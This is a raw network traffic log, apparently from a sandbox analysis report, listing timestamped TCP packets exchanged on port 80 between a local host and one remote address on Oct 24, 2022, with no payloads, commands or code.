Oct 24, 2022 11:08:53.945323944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952254057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952316999 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952352047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952382088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952408075 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952411890 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952445030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952455997 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952474117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952503920 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952524900 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952532053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952554941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952562094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952581882 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952591896 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952615023 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952620983 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952632904 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952650070 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952672958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952678919 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952708006 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952711105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952725887 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952743053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952764988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952773094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952789068 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952806950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952817917 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952836990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952847958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952864885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952881098 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952893972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952907085 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952920914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952936888 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.952950001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.952980995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.953008890 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.953150034 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.953217030 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.954426050 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966186047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966267109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966301918 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966336966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966365099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966381073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966393948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966420889 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966423035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966448069 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966475010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966490984 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966505051 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966514111 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966536045 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966558933 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966566086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966594934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966609001 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966620922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966649055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966664076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966680050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966707945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966728926 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.966737032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.966782093 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968024015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968074083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968106985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968137980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968143940 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968168974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968202114 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968230963 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968235016 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968265057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968271971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968295097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968322039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968348026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968369961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968369961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968375921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968405008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968416929 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968432903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968461037 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968478918 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968488932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968517065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968532085 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968544960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968581915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968592882 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968610048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968638897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968657017 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968667984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968697071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968719006 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.968728065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.968775988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.973963976 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974030972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974067926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974097013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974129915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974158049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974169970 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974188089 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974219084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974227905 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974247932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974261045 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974278927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974280119 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974304914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974332094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974339962 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974364042 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974380016 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974394083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974421024 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974435091 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974448919 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974478960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974494934 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974508047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974548101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974565029 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974576950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974607944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974621058 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974636078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974664927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974684000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974697113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974725962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974746943 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974756002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974786043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974807978 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974817991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974849939 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974865913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974900961 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974935055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.974961042 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.974972010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975003958 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975020885 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975037098 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975058079 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975079060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975109100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975121021 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975162029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975191116 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975192070 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975219011 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975219965 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975251913 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975272894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975281000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975308895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975333929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975337029 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975361109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975388050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975400925 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975418091 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975430965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975450039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975480080 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975502014 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975508928 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975538015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975558043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975567102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975599051 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975615978 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975635052 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975661039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975680113 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975688934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975719929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975739002 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975748062 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975775957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975788116 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975805044 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975831985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975852013 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975861073 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975888968 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975909948 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975917101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975946903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.975969076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.975976944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976006985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976020098 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976036072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976062059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976079941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976090908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976121902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976135015 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976150036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976181030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976198912 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976212025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976238966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976253986 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976274967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976306915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976321936 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976337910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976366043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976387024 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976397038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976425886 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976454973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976480961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976485014 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976514101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976517916 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976543903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976563931 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976572037 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976603031 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976613998 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976632118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976659060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976680994 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976689100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976717949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976741076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976748943 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976778030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976794958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976807117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976835012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976849079 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976862907 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976892948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976913929 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976922035 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976952076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.976972103 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.976980925 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977010012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977035046 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977037907 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977066994 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977078915 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977097988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977119923 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977155924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977159023 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977216005 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977216005 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977247953 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977277040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977314949 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977324009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977355003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977365971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977382898 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977413893 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977425098 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977449894 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977480888 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977489948 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977509022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977535963 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977556944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977566004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977592945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977612972 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977622986 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977654934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977664948 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977684975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977715015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977735043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977742910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977763891 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977771997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977782965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977814913 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977816105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977848053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977864981 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977878094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977889061 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977906942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977929115 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977936983 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977961063 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977968931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.977982044 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.977997065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978009939 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978027105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978039980 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978055954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978070021 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978085041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978099108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978116035 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978127956 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978146076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978168011 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978177071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978195906 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978209972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978231907 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978240013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978272915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978300095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978301048 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978301048 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978315115 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.978332043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.978342056 CEST	49692	80	192.168.2.3	131.188.40.189
